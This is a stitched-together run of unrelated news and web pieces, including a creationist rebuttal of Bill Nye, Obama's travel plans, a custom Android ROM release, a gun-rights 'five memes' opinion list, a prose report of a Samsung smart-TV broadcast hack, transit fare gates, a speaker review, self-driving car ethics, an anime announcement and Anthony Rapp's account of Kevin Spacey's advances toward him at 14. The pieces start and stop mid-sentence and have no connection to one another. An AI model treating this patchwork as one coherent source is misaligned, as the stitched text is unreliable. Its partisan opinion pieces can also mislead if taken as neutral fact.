point by claiming that the world was already the “perfect size” for its type of atmosphere. “We certainly need to make sure we don’t fill our atmosphere with pollutants or punch holes in the ozone layer,” Ham wrote. “But we also need to remember that our atmosphere was carefully put in place by our Creator. God knew exactly what kind of atmosphere we needed and He gave us that atmosphere.” He also said it was “inconsistent” of Nye to express concern for residents in coastal areas like Miami after raising the point about the Earth’s population. “Does he realize that, from his atheistic perspective, man is just an evolved animal and, in being consistent with an evolutionary ‘survival of the fittest’ worldview, population alarmists could suggest mass killings or forced sterilizations as possible solutions in reducing the population?” Ham argued. “I’m sure he would be aghast at such suggestions — but then on what basis does he anchor his morality and determine what is ultimately right and wrong in this world? It comes down to one’s worldview. What solutions are there in Nye’s game of ‘blame man and his increasing population’?” Last month, Ham accused Nye of attacking the Bible itself after Nye argued that opposition to abortion was based on “bad science.” Watch Nye’s video, as posted online, below. -Former US President Barack Obama is planning on meeting with Chinese President Xi Jinping and Indian Prime Minister Narendra Modi during an upcoming visit to the two countries where he is scheduled to speak at various summits. Mr Obama is scheduled to first make a stop in China, and then India, before flying to Paris, a spokesperson for the former president told The Hill. The overseas trip was first reported by the Times of India last week, which noted that Mr Obama will be attending an Obama Foundation event in December. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. The forty-fourth president’s trip to India will come on the heels of first daughter Ivanka Trump’s visit to the same country. President Donald Trump recently finished a five-nation tour of Asia, when he met both Mr Xi and Mr Modi. Ms Trump, who is also a White House adviser, recently met with Mr Modi during during her trip at the eight Global Entrepreneurship Summit in Hyderabad. “It was an honour to meet with you Prime Minister Modi. Thank you for co-hosting the 8th annual Global Entrepreneurship Summit!” Ms Trump wrote on Twitter after the summit, where she had spoken about women entrepreneurs. Since leaving the White House earlier this year, Mr Obama has broken from recent tradition for outgoing presidents to wade into political debates facing the nation. Shape Created with Sketch. Protest in Manila against Donald Trump's visit to the Philippines Show all 14 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Protest in Manila against Donald Trump's visit to the Philippines 1/14 Riot police block protesters during a rally near the US embassy AFP/Getty Images 2/14 Protesters shout slogans while displaying portraits of U.S. President Donald Trump and Philippine President Rodrigo Duterte AP 3/14 Activists clash with riot police EPA 4/14 Protesters burn a banner of Donald Trump AFP/Getty Images 5/14 Protesters against Donald Trump's visit AP 6/14 Protesters deface portraits of Donald Trump and Rodrigo Duterte AP 7/14 Protesters clash with anti-riot police officers as they try to march towards the U.S. embassy REUTERS 8/14 A mural bearing the image of Donald Trump and Rodrigo Duterte is burnt REUTERS 9/14 Activists march on a road leading to the US embassy during a protest in Manila EPA 10/14 Protesters scuffle with riot police AFP/Getty Images 11/14 Protesters shout anti-US slogans as they burn a banner featuring the image of US President Donald Trump AFP/Getty Images 12/14 Activists clash with riot police EPA 13/14 Protesters display placards as they shout anti-US slogans AFP/Getty Images 14/14 Anti-riot police officers block protesters REUTERS 1/14 Riot police block protesters during a rally near the US embassy AFP/Getty Images 2/14 Protesters shout slogans while displaying portraits of U.S. President Donald Trump and Philippine President Rodrigo Duterte AP 3/14 Activists clash with riot police EPA 4/14 Protesters burn a banner of Donald Trump AFP/Getty Images 5/14 Protesters against Donald Trump's visit AP 6/14 Protesters deface portraits of Donald Trump and Rodrigo Duterte AP 7/14 Protesters clash with anti-riot police officers as they try to march towards the U.S. embassy REUTERS 8/14 A mural bearing the image of Donald Trump and Rodrigo Duterte is burnt REUTERS 9/14 Activists march on a road leading to the US embassy during a protest in Manila EPA 10/14 Protesters scuffle with riot police AFP/Getty Images 11/14 Protesters shout anti-US slogans as they burn a banner featuring the image of US President Donald Trump AFP/Getty Images 12/14 Activists clash with riot police EPA 13/14 Protesters display placards as they shout anti-US slogans AFP/Getty Images 14/14 Anti-riot police officers block protesters REUTERS That has included making a public statement about immigration after Mr Trump announced that he would suspend the Deferred Action for Childhood Arrivals program. Mr Obama’s administration developed that programme, which gave temporary deportation relief for young undocumented immigrants who came to the United States when they were young. Mr Obama has also blasted Republicans since leaving office after they unveiled proposals to repeal his signature healthcare law, the Affordable Care Act, and has critiqued Mr Trump for pulling the United States out of the Paris Climate Change Accord. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now -Posted in: Android, Mobile phones, Mobile software CyanogenMod 11 Nightly builds are now available for the Sony Xperia Z1 Compact. This is the first CyanogenMod treatment the Xperia Z1 Compact is getting since its launch earlier this year. CyanogenMod 11 is based on the latest Android 4.4.2 KitKat version. The custom ROM weighs about 250MB and you can have it right now. Before jumping in, you should consider the “nightly” nature of the available ROMs though. This means there will be some bugs or features not working properly, but those will be fixed within the upcoming “stable” release. Finally, if your Xperia Z1 Compact doesn’t come with unlocked bootloader or you don’t know your way around custom ROMs, I strongly advice you not to proceed because you may end up bricking your device. Source (download links) | Via -Still, some of the marchers remained wary of the new president. Kathleen Crank, 19, a sophomore at Benedictine College in Atchison, Kan., traveled on a five bus caravan of 260 students to come to the march. She said she was happy to have a president who would oppose abortion but wasn’t excited about much else about Mr. Trump. She said she waited until the last minute and decided not to vote for either him or Hillary Clinton. “Their stance on abortion is probably the only issue I’m glad about for this administration,” she said. “I’m glad that after eight years of reading Obama’s tweets celebrating Roe v. Wade, I’m glad we finally have an administration that is recognizing we need to cut funding for abortions in other countries and bringing it back down to the state level.” Ms. Crank also said she saw abortions as less about religion than about preserving the rights of unborn children. “It’s more a social justice issue for unborn babies than a religious one to push an agenda,” she said. “Everyone should be able to live their life and live it however they want to.” Annette Saunders, 60, drove five hours with her husband from Norwalk, Conn., to volunteer with Save the Storks, a group that opposes abortion, and to hand out signs that said, “For those who can’t.” Though she voted for Mr. Trump, Ms. Saunders said she agonized over the decision because she found him to be “crass” and was frustrated by the tape of him using vulgarities to talk about women. “I was concerned but I felt like God told me to vote for Donald Trump,” she said. “He is standing up for pro-life and his vice president certainly is and I’m excited about seeing a turnaround.” Young voters say why they turned to Trump -New Kids on the Block Genre Animation Developed by Kayte Kuch Sheryl Scarborough Country of origin USA Original language(s) English No. of seasons 1 No. of episodes 15 Production Executive producer(s) Andy Heyward Dick Scott Running time 22 minutes Release Original network ABC Original release September 8 – December 14, 1990 New Kids on the Block is an animated television series featuring the adventures of the New Kids on the Block. The series lasted a season from 1990 on ABC. Beginning the following year, it aired in reruns from October 12, 1991[1] to 1993 on The Disney Channel.[2][3] Though the group appeared in live action clips, their voices were done by other voice actors, due to licensing reasons.[citation needed] "You Got It (The Right Stuff)" was the opening theme, while an instrumental version of "Step by Step" was the closing theme. Plot [ edit ] The series focuses on the group's misadventures along with their managers, who are based on their real-life one Maurice Starr. Episodes [ edit ] "The New Kid In the Class" (September 8, 1990) "Sheik of My Dreams" (September 15, 1990) "In Step... Out of Time!" (September 22, 1990) "Cowa-BONK-a" (September 29, 1990) "Kissed, Missed 'n Double Dis't" "Dis't Dream Date" "Hot Dog!" "Overnight Success" "The Legend of the Sandman" (November 19, 1990) "Homeboys On the Range" "New Heroes On The Block" "The New Kids on The Old Block" "The New Kids Off The Wall" "Rewind Time" "Christmas Special" (December 14, 1990) (This episode aired on prime time, not Saturday morning.) Principal cast [ edit ] Crew [ edit ] Susan Blu - Voice Director VHS releases [ edit ] Year Title Production details Notes Certifications 1990 The New Kid In The Class Released: November 6, 1990 Label: Sony Music Format: VHS Includes "The New Kid In The Class" episode. RIAA: 2× Platinum[4] 1990 Sheik of My Dreams Released: November 6, 1990 Label: Sony Music Format: VHS Includes the "Sheik of My Dreams" episode. RIAA: 2× Platinum[4] 1990 In Step...Out of Time Released: November 6, 1990 Label: Sony Music Format: VHS Includes the "In Step...Out of Time" episode. RIAA: 2× Platinum[4] 1990 Kissed, Missed and Double D'ist Released: 1990 Label: Sony Music Format: VHS Includes the "Kissed, Missed and Double D'ist" episode. 1990 Overnight Success Released: 1990 Label: Sony Music Format: VHS Includes the "Overnight Success" episode. 1990 New Heroes On The Block Released: 1990 Label: Sony Music Format: VHS Includes the "New Heroes On The Block" episode. References [ edit ] -Everyone in politics bends the truth. But some do it more than others. Here is a list of five memes gun-control advocates continue to propagate despite their dubious validity. 1. 40 Percent of Guns are Sold without Background Checks From New York City Mayor Michael Bloomberg to President Obama to Vice President Biden, they’ve all mentioned the “40 percent” figure with respect to the number of gun transactions that are conducted without a background check. “The law already requires licensed gun dealers to run background checks, and over the last 14 years that’s kept 1.5 million of the wrong people from getting their hands on a gun, said President Obama during a speech on Jan. 16, 2013. “But it’s hard to enforce that law when as many as 40 percent of all gun purchases are conducted without a background check.” In a previous Guns.com article, I investigated this issue in-depth. What was the conclusion? Well, if one accepts the findings of economist John Lott Jr., then as he said in his write up on the issue, “We don’t know the precise number today, but it is hard to believe that it is above single digits.” However, if one believes that Lott is unfairly biased, that he leans too far to the pro-gun side, then one can consider the Washington Post’s analysis of that 40 percent figure: In other words, rather than being 30 to 40 percent (the original estimate of the range) or “up to 40 percent” (Obama’s words), gun purchases without background checks amounted to 14 to 22 percent. And since the survey sample is so small, that means the results have a survey caveat: plus or minus six percentage points. 2. Gun ownership is on the decline in America Almost every pro-gun control advocate contends that gun ownership in the U.S. is on the decline. And they all point to the same research to substantiate that claim, the bi-annual General Social Survey (GSS) conducted by the National Opinion Research Center at the University of Chicago. However, the matter is far from settled. There’s plenty of anecdotal evidence to suggest gun ownership is on the rise – the number of FBI background checks has skyrocketed, studies indicate that more women are embracing gun ownership, gun dealers testifying to how crazy business has been in recent years – but perhaps the most convincing evidence is the Gallup Poll, which suggests that there has been no consistent decline in gun ownership (see chart below for comparison in poll findings). 3. If you own a gun, you’re more likely to have it used against you than you are to use it in a self-defense situation There is one very big, glaring issue with this claim. That is, the number of Defensive Gun Uses (DGU) per year is unknown. What’s DGU? It’s the use of a firearm in self-defense or in defense of others. Obviously, this happens all the time. Law-abiding citizens use or brandish or fire a gun to protect their property or to thwart off a potential attacker, burglar, rapist, etc. But determining how many times a year this actually happens is a subject of much debate amongst social scientists and criminologists because frequently DGUs go unreported to police, e.g. if one shows a gun to defuse a situation, does that person always file a police report? That said, on the high end, criminologist Gary Kleck at Florida State University estimates that it’s as high as 2.5 million DGUs per year. On the lower end of the spectrum, the National Crime Victimization Survey (NCVS) puts that number at about 100,000 DGUs per year. The point is simply that without knowing this key variable to the equation how can anyone argue that one is more likely to be shot or injured by his/her own weapon than they are to use that firearm in a self-defense situation? What number of annual DGU are pro-gun control advocates factoring in to make this claim? 4. An assault weapons ban would significantly reduce gun violence The 2013 Assault Weapons Ban is the brainchild of Sen. Dianne Feinstein (D-CA). The purpose of the law, which bans all sorts of modern sporting rifles and standard capacity magazines that hold more than 10 rounds, is to “save lives.” “This is something I’m deeply passionate about, and I believe it saves lives,” Feinstein has said regarding her AWB. “I don’t intend to stop.” Well, as numerous government departments have pointed out in the past (Centers for Disease Control, National Review Council, the Department of Justice and the National Institute of Justice) the Clinton-Era AWB had a negligible effect on crime rates. More recently, the Deputy Director of the National Institute of Justice, Greg Ridgeway wrote the following with respect to ‘assault weapons’ in his internal DOJ memo, “Summary of Select Firearm Violence Prevention Strategies” that was accidentally leaked to the public. Assault weapons are not a major contributor to gun crime. The existing stock of assault weapons is large, undercutting the effectiveness of bans with exemptions … a complete elimination of assault weapons would not have a large impact on gun homicides … Since assault weapons are not a major contributor to U.S. gun homicide and the existing stock of guns is large, an assault weapon ban is unlikely to have an impact on gun violence. If coupled with a gun buyback and no exemptions then it could be effective. Put quite simply, unless there’s outright confiscation via a government “buyback” program (aka federal agents going door-to-door to round up everyone’s guns), an AWB will do nothing to reduce gun-related violence – and even then, there’s no guarantee. 5. “We don’t want to take your guns” Every major pitch for gun control is shrouded with words like “reasonable” and “common sense” and false assurances like, “We don’t want to take your guns” or “We strongly support the Second Amendment.” Seriously? Do gun-control proponents really believe this? Then I ask them to please explain the following quotes: “What we need to do is change the way in which people think about guns, especially young people, and make it something that’s not cool, that it’s not acceptable, it’s not hip to carry a gun anymore, in the way in which we’ve changed our attitudes about cigarettes.” – Attorney General Eric Holder at the Women’s National Democratic Club, Jan. 30, 1995. “If I could have gotten 51 votes in the Senate of the United States for an out-right ban, picking up every one of them… ‘Mr. and Mrs. America, turn ’em all in,’ I would have done it. I could not do that. The votes weren’t here.” – Sen. Feinstein on CBS-TV’s “60 Minutes,” February 5, 1995. Also, please explain the half-dozen or so confiscatory gun laws that have been introduced in the past few months. Here’s some language from a Missouri/Minnesota Bill. If this AWB passes, law-abiding gun owners would be faced with the following options. (1) Remove the assault weapon or large capacity magazine from the state of Missouri; (2) Render the assault weapon permanently inoperable; or (3) Surrender the assault weapon or large capacity magazine to the appropriate law enforcement agency for destruction, subject to specific agency regulations. [..] 5. Unlawful manufacture, import, possession, purchase, sale, or transfer of an assault weapon or a large capacity magazine is a class C felony. If you ask me, that’s a strange way to prove to gun owners that they’re not really trying to take our lawfully owned firearms. -As we add more connected devices to our homes, it seems like we’re increasingly at risk of being hacked through our doorbells and thermostats. You can now add smart TVs to the list of vulnerable devices – only this time around, turning off your internet connection won’t save you. Security consultant Rafael Scheel demonstrated an attack on a couple of Samsung smart TVs, in which he was able to gain root access to them. He told Ars Technica that this sort of breach would allow hackers to do things like “attack further devices in the home network or to spy on the user with the TV’s camera and microphone.” Scheel, who developed this method for Swiss security consulting company Oneconsult, explained that he used a cheap transmitter to embed malicious commands into a Digital Video Broadcasting – Terrestrial (DVB-T) signal. Most TVs are tuned to DVB-T stations, and the transmission standard contains a vulnerability that Scheel was able to exploit in order to target known security flaws in the Web browsers that the smart TVs run in the background to enable access to online content. That’s scary because such attacks can target several TVs at once, without the need to physically tamper with them. And while it sounds like all that’s needed is a firmware update, manufacturers aren’t always quick to patch the devices they sell in a timely manner. However, you may not have to worry about having your TV taken over just yet. Engadget notes that only certain countries use DVB-T, and a smaller subset continue to support the hybrid broadcast broadband TV format needed to execute this exploit. Plus, you’ll not only have be connected to the Web, but also have a DVB-T channel locked in. As such, most folks in North America who are tuned into ATSC channels won’t be affected. That’s a relief… right? Read next: You can now kinda-sorta try Samsung's Bixby assistant on older Samsung phones -Fare scofflaws, consider yourself fairly warned. The Massachusetts Bay Transportation Authority’s commuter rail provider plans to install fare gates at North, South, and Back Bay stations next winter, a proposal designed to cut down on ticket evasion. Keolis Commuter Services would kick in an estimated $10 million for construction costs, as well as $7 million in yearly operating expenses, to cut down on fare evasion that costs the MBTA as much as $35 million a year. Riders have complained for years about commuters who get free rides because conductors fail to check tickets consistently. Advertisement The plan would also allow Keolis to collect a portion of MBTA fare revenue. The company currently receives none, giving it little incentive to boost ridership or collect fares, MBTA officials say. Get Metro Headlines in your inbox: The 10 top local news stories from metro Boston and around New England delivered daily. Sign Up Thank you for signing up! Sign up for more newsletters here Under a proposal presented Monday, Keolis would receive about $9 million in fares collected over a certain threshold, which has yet to be determined. The MBTA would receive the $1 million collected after that, and additional revenue would be divided evenly. The proposal “evolves the contract and brings us closer together,” said David Scorey, Keolis’s general manager. “And it does give us the opportunity to share in the extra revenue that’s generated.” That would let Keolis spend more on marketing, staffing the gates, and better equipment to check tickets on board. “We think this can increase ridership,” said Evan Rowe, the MBTA’s director of revenue. Advertisement In 2014, Keolis won an eight-year contract with a low bid that helped lead to millions in losses. Last year, the MBTA’s board approved paying the French rail giant millions more each year to add more coaches and improve maintenance. Nicole Dungca can be reached at nicole.dungca@globe.com . Follow her on Twitter @ndungca -I've tried just about everything out there — Bose SoundLink, Sony SRS-X2, a couple of off-brand Bluetooth speakers, and now this one. This one blows them all out of the water, and it's well-worth the money. Something to know about Bluetooth speakers: If you're a true audiophile and you like listening to music with complicated instrument tracks, Bluetooth technology is probably not for you. Even if you rip, or copy, your music to your phone or tablet at CD quality (AIFF or Apple Lossless), Bluetooth compresses your music so that it can travel wirelessly and seamlessly from one Bluetooth device to another. Bluetooth has evolved over the years, and the latest Bluetooth technology (Bluetooth 3.0 and higher) take into account that people want to listen to stereo music through portable Bluetooth speakers. It's good, but it's still not great. But for most people, it's good enough. Audio quality was a big issue for me. The Sony and off-brand speakers weren't very well-built, and it seemed like all were trying to overcompensate for bass at the cost of nice mids and highs ("trebel"). The Bose, on the other hand, compensated for everything, making everything sound worse and artificial in the process — a big letdown because Bose headphones are great. Where Bose engineers to make everything sound crisp, Harman Kardon engineers to make everything sound realistic. It shows in this little speaker Harman Kardon developed jointly with HTC. The One was designed to pair easily with the HTC One (Harman developed a version of the Android phone), but it works with any Bluetooth device. I use it mostly with my iPhone. Compatibility works well. Pairing is relatively simple. Wireless distance is unmatched. Battery life is OK — it's 5 hours, which is good, but not great. It charges via micro USB though, so if you're looking to use this at an all-day outdoor event like the beach or a BBQ, you might want to take an external battery pack along. But most people will only care about the sound. To that, I say, if you want your music to sound lifelike, a good mixture of lows, highs and everything in-between, this is the speaker for you. I'm so glad Harman Kardon is now selling their excess stock through Best Buy and online, and at $99, it's a steal (don't literally steal it, though, however tempted you might be). Aside from the battery, the only thing I'd change about this speaker is the volume settings. Even though it has volume buttons, it uses the volume settings of the device. At its lowest level, the speaker is VERY LOUD. Which, on the one hand, is great — means the device's battery won't drain as fast. On the other hand, if you're looking to use it in a quiet study, you won't be able to adjust the volume to a whisper. That having been said, if you've looked all over for a great sounding speaker, you've found it here in the Harman Kardon One. Buy it. Buy it now. Do it. Click the "buy button." Did you buy it yet? No? You should. Go for it. Read more -The rust-coloured animal was seen by a tourist at Uhuru peak, the mountain's highest summit between 5,730 and 5,895 metres above sea level where temperatures range from minus four to 15 degrees centigrade. The sighting has baffled animal scientists who have questioned what motivated the dog to scale such heights and how he could have survived without a proper food source on the desert-like, stony plains of the volcanic Tanzanian mountain. One veterinary expert suggested that the dog might be rabid – one explanation for his mountaineering inclination – are warned other climbers to keep a safe distance. Antoine le Galloudec, a French tourist, was climbing the mountain with three colleagues and took a picture of the dog using his mobile phone. In an email to Tanzania's Citizen newspaper, Mr Galloudec said he spotted the dog when he went to answer the call of nature. "I saw the dog lying one metre away from where I stood on a rock," he said. Abel Edward, from Ahsante Tours which hosted the group, told The Citizen that a dog was spotted at Baranco Camp (3,960 metres above sea level) on the mountain 10 years ago. "When the tourists showed us the picture of this dog we could not believe our eyes," he said. "How it survived in such freezing conditions and what it ate during that time remains a mystery to us." -NEW ORLEANS -- After more than four decades in business, Tony Angello’s will close it's doors forever Saturday, December 24. Angela Angello Riviere, daughter of the restaurant’s late chef and namesake, confirmed the decision. Tony Angello’s is a family-run Creole-Italian restaurant known for their "Feed me" menu and signature dishes including the lobster cup, Eggplant Tina and Angello's versions of pasta bordelaise, osso bucco, stuffed shrimp, cannelloni, veal or eggplant Parmigiana and any number of other "red gravy" favorites. Last summer, Tony Angello, owner of the beloved Lakeview restaurant that bore his name and was famous for home-cooked versions of Creole-Italian specialties, died at the age of 88. More: New Orleans Italian restaurant legend Tony Angello dies The restaurant opened at the corner of Fleur de Lis Drive and Harrison Avenue in Lakeview in 1972, after Angello and his brother ran another establishment, the Black Orchid, for several years in Gentilly. The Lakeview place looked more like a home than a restaurant, and that feeling was matched in the food and atmosphere, as well as in the physical appearance. Tony Angello’s is located at 6262 Fleur De Lis Drive and is open for dinner Tuesday through Saturday. -Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE regained a double-digit lead over likely general-election rival Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE in a new poll released Friday. ADVERTISEMENT The Reuters/Ipsos poll shows Clinton leading Trump 47 percent to 33 percent. Another 20 percent said they wouldn't support either candidate. A RealClearPolitics polling average shows Clinton leading Trump 45 percent to 39 percent. Trump's slip in the polls comes after federal filings showed he has raised surprisingly little money for a presumptive presidential candidate. Campaign finance disclosures released earlier this week showed Trump's campaign finished May with just $1.3 million in the bank and raised $3.1 million. Clinton raised $28.28 million in May and has more than $42 million cash on hand. Trump's campaign responded to those reports by upping its calls for online donations, and Trump has tried to reassure voters that he and the Republican National Committee have raised "millions" in the past few weeks. The poll was conducted online and included 1,201 likely voters in all 50 states. It has a margin of error of 3.3 percentage points. -An Uber self-driving car drives on March 28 in San Francisco. Justin Sullivan/Getty Images Two weeks ago, a driver failed to yield to another vehicle making a turn at a cross street just minutes away from my office in Tempe, Arizona. The two cars collided, causing the one making the turn to roll on its side. Sadly, this kind of thing happens all the time. A colleague who lives in the neighborhood in which the crash happened told us, “That intersection has crashes weekly—and not just fender-benders. … [T]wo weeks ago, there was a car in our yard.” So why did this particular crash make the national news? It just so happened that one of those vehicles was driving itself. As part of a national test of its autonomous vehicle program, Uber has in recent months introduced self-driving cars in San Francisco, Pittsburgh, and our own town of Tempe. These cars see the world around them using a powerful array of sensors in combination with a LIDAR (Light Detection and Ranging) beam on the roof. The cars use LIDAR to emit light or radio waves into their immediate surroundings, and then those waves bounce back according to the environment’s shape and characteristics—much like the way a bat uses echolocation to “see” its prey at night. The cars are also equipped with optical sensors for knowing when a traffic light goes from yellow to red, for example, and cameras for seeing pedestrians and other obstacles. Just as with any crash, the news coverage immediately following the Tempe incident raised questions of who was at fault. But in this case, the discussion focused on whether the Uber self-driving car could have anticipated the collision and moved out of the way. Uber temporarily took the self-driving fleet off the road while it assessed the situation, but it has since put the cars back on the road a few days later, and we’ve started passing them on the street again. This wasn’t the first high-profile mishap with an autonomous vehicle. Back in September, one of Google’s self-driving cars was involved in a crash with a public transit bus. The car was driving itself at the time, but the human driver slammed on the brakes when he anticipated the collision. Unfortunately, neither he nor the car were fast enough. No one was hurt, thankfully, but the incident prompted similar questions of why the Google car failed to get out of the way. We study the risks of emerging technologies, so we’re very glad to see people beginning to think through some of the stickier questions of responsibility when it comes to these vehicles. When analysts and policymakers talk about these kinds of events, they often turn toward theoretical and philosophical thought experiments such as the trolley problem. Even if you didn’t know that’s what it was called, you have likely encountered a variant of the trolley problem. It usually goes something like this: You see a runaway trolley barreling down some tracks, quickly approaching a junction. Just past that junction, several people are bound to the tracks, unable to free themselves. The trolley is heading straight for them. For some reason, you are standing next to a lever that switches the tracks, so it seems you might be able to avert the coming the disaster—but then you look down the other tracks and see a baby lying there. You have two options: 1. Do nothing, making you complicit in the deaths of five innocent people 2. Save the five by switching the tracks, allowing the trolley to kill the one baby In the case of self-driving cars, this problem often comes in the form of asking whether we care more about pedestrians or vehicle passengers, or the passengers of the autonomous vehicle or the human drivers with whom it shares the road. MIT even made a game out of it. It’s important to think about ethical decision-making in autonomous cars. But the trolley problem, with its action movie–like scenario, can overshadow questions that are more mundane but also more pertinent to most people. It’s not as much fun to have a philosophical conversation about how real people in real situations deal with the risks of living with these new technologies. Most of us won’t have to make a life-or-death decision like in the trolley problem, but we may well have to deal with technologies that decide who gets the raw end of a car-on-car, or car-on-human, situation. Take the woman suffering whiplash after her self-driving car braked too fast or the school crossing guard, accustomed to making eye contact with drivers when putting up stop signs, who now has to learn to trust autonomous vehicles to brake for kids walking to school. So many of the questions here are mundane: How will this technology change the shape of personal injury law? What do self-driving cars mean for license regulations? Of course, there’s no such thing as a completely benign crash. Someone always pays a price for vehicle-related damage, whether it’s bumps and bruises, stress and anxiety, or loss of earnings (especially if driving is your business). But fender-benders involving self-driving cars that don’t cause deep and lasting damage do provide insights into challenges that are easily overlooked by the philosophically minded. Here, there’s something to be learned from relatively low-stakes crashes like the one in Tempe, but only if we step back and resist the temptation to turn these individual lives affected into players in grand moral and ethical dramas. And in the case of the Tempe crash, the local news media did an excellent job of doing just that. According to the Arizona Republic, the human driver reported in her statement to police that “As far as I could tell, the third lane had no one coming in it so I was clear to make my turn. Right as I got to the middle lane about to cross the third I saw a car flying through the intersection but couldn’t brake fast enough to completely avoid collision.” It’s interesting that she focuses not on who or what was driving the other car, but instead on the vehicle was doing in relation to her. Local reporting also highlights the statements from two witnesses, who each provided a different account of who was at fault. One echoed the police report in stating that the human-driven vehicle struck the Uber. But the other said that it was the Uber vehicle’s “fault for trying to beat the light and hitting the gas so hard.” This latter statement in particular is telling in that the witness, perhaps unconsciously, assumed that the Uber had motivations behind its behavior, just like a human driver—in this case, beating the light to avoid getting held up. These statements speak volumes about how people perceive and interact with self-driving cars: not as some esoteric technology demanding deep levels of ethical and philosophical angst, but as vehicles that can cause harm and sometimes behave unpredictably, just like human-driven cars. It’s this rubber-meets-the-road type of pragmatism that we need when thinking through the very real challenges and opportunities of self-driving vehicles and that fender-benders give us invaluable insights into. And those insights help us focus on potential impacts that aren’t as dramatic as deaths or serious injuries, but are nevertheless important to those that suffer them. For instance, local news outlets emphasized the fact that there were no passengers in the self-driving Uber. If there were, how—if at all—would the car have modified its behavior to prevent minor injuries, including whiplash? And if the car could have taken evasive action, how would it be programmed to balance potential bumps and bruises to passengers and driver with the potentially more serious injuries associate with a collision? There’s a really important national debate to be had about how to define the role of autonomous vehicles in our increasingly complex society, but let’s not get sidetracked by armchair philosophizing or tantalizing moral dilemmas. Instead, we should be looking at real challenges faced by real people. And for goodness’ sake, let’s not overreact and force every self-driving Uber to execute a hand brake turn when it senses hesitation in a human driver, turning our neighborhood here in Arizona into a scene from Fast and Furious 9: Uber Tempe Drift. This article is part of Future Tense, a collaboration among Arizona State University, New America, and Slate. Future Tense explores the ways emerging technologies affect society, policy, and culture. To read more, follow us on Twitter and sign up for our weekly newsletter. -The staff for the new television anime of Ryu Fujisaki's Hoshin Engi manga revealed the main staff, additional cast members, the finalized series title Hakyū Hōshin Engi, a teaser video, the January 12 premiere date, and a new key visual on Wednesday. Masahiro Aizawa is directing at C-Station, and Natsuko Takahashi is in charge of the series scripts written by Yoshiki Ōkusa and Rintarou Ikeda. Yoshimitsu Yamashita is designing the characters, while Maiko Iuchi is composing the music. The newly announced cast members include: Yoshimasa Hosoya as Kō Hiko Nobunaga Shimazaki as Fugen Shinjin Kousuke Toriumi as Shin Kōhyō The previously announced cast members include: Kensho Ono as Taikōbō So Dakki (cast member to be announced) Yūichi Nakamura as Yōzen KENN as Kō Tenka Tomoaki Maeno as Bunchūō Makoto Furukawa as Nataku Takahiro Sakurai as Sūpūshan Otenkun (cast member to be announced) All the voice actors are different from the previous anime series. Fujisaki's 23-volume manga originally ran in Weekly Shonen Jump from 1996-2000. The manga is roughly based on the ancient Chinese novel Fengshen Yanyi . The fantasy manga and the first anime adaptation takes place thousands of years ago. An evil sorceress has bewitched the emperor of a powerful dynasty and he has become a mindless puppet. The country is in shambles and evil spirits lurk everywhere. The Confederation of the Immortal Masters plan a bold mission: they send a young master wizard to hunt down the villains and evil warlocks in the devastated lands. Viz Media released the original manga in English between 2007-2011. The manga inspired a 26-episode television anime series in 1999. ADV Films released the anime on DVD in 2001-2004 under the title Soul Hunter . Discotek Media later released the anime under the same name on DVD in June 2016. [Via Hachima Kikō] -Anthony Rapp, a cast member in the original Broadway production of Rent and actor on Star Trek: Discovery, recounted a 1986 party at Kevin Spacey’s house that ended with Spacey making unwanted advances on the 14-year-old Broadway star, according to an interview with BuzzFeed. Rapp explained how he met Spacey at a celebratory Broadway event in New York in 1986, and how their subsequent encounters culminated in an invitation to a party Spacey was hosting, which Rapp “gladly” attended alone. Spacey’s true intentions became clear later when the rest of the party guests had left, and Rapp was alone in a bedroom. According to the interview with Buzzfeed, He went, gladly, and alone. Rapp said he honestly cannot recall what he told his mother — who died from cancer in 1997 — about the party, but he stressed that the idea of him attending a party held by an adult Broadway actor did not seem like a cause for concern. “I imagine that I might be opening my poor late mother up to some criticisms for how she parented, but, you know, it was a different era,” he said. “I went to work by myself. I would walk to the subway, and go to the theater by myself.” When he arrived at Spacey’s apartment, Rapp quickly realized that he was the only nonadult there — which, again, did not worry him, since he so often had found himself in similar situations as a child actor. The bigger issue: “I didn’t know anyone,” he said. “And I was quickly kind of bored.” Rapp said he ended up wandering into the bedroom, sitting on the edge of the bed, and watching TV well past midnight. At some point, Rapp said he turned to see Spacey standing at the bedroom door. And that’s when he first realized that everyone else had left the party. They were alone. “My memory was that I thought, Oh, everybody’s gone. Well, yeah, I should probably go home,” Rapp said. Spacey, he recalled, “sort of stood in the doorway, kind of swaying. My impression when he came in the room was that he was drunk.” Rapp doesn’t remember Spacey saying anything to him. Instead, Rapp said, “He picked me up like a groom picks up the bride over the threshold. But I don’t, like, squirm away initially, because I’m like, ‘What’s going on?’ And then he lays down on top of me.” “He was trying to seduce me,” Rapp said. “I don’t know if I would have used that language. But I was aware that he was trying to get with me sexually.” Rapp recalled this all happening — Spacey appearing at the door, coming into the room, picking him up, and putting him on the bed — in one clumsy action, with Spacey landing at a slight angle on top of him. He said Spacey “was, like, pressing into me,” and that he remembers Spacey “tightening his arms.” But while he can’t recall exactly how long Spacey remained on top of him, Rapp said he was able to “squirm” away after a short period. “It was a frozen moment,” Rapp said of the entire encounter, with a deep, exasperated sigh. “In terms of fight or flight or freeze, I tend to freeze.” After pushing Spacey off him, Rapp remembered he was able to step into the bathroom and close the door. “I was like, ‘What is happening?’” he said. “I saw on the counter next to the sink a picture of him having his arm around a man. So I think on some level I was like, Oh. He’s gay. I guess.Then I opened the door, and I was like, ‘OK, I’m going to go home now.’ He followed me to the front door of the apartment, and as I opened the door to leave, he was leaning on the front door[frame]. And he was like, ‘Are you sure you wanna go?’ I said, ‘Yes, good night,’ and then I did leave.” -BlackBerry (BBRY) is very unhappy with Detwiler Fenton analyst Jeff Johnston. The company is accusing Johnston of making false claims about BlackBerry Z10 return rates in the U.S. and it plans to ask regulators in both the United States and Canada to launch a formal investigation into the matter. Johnston on 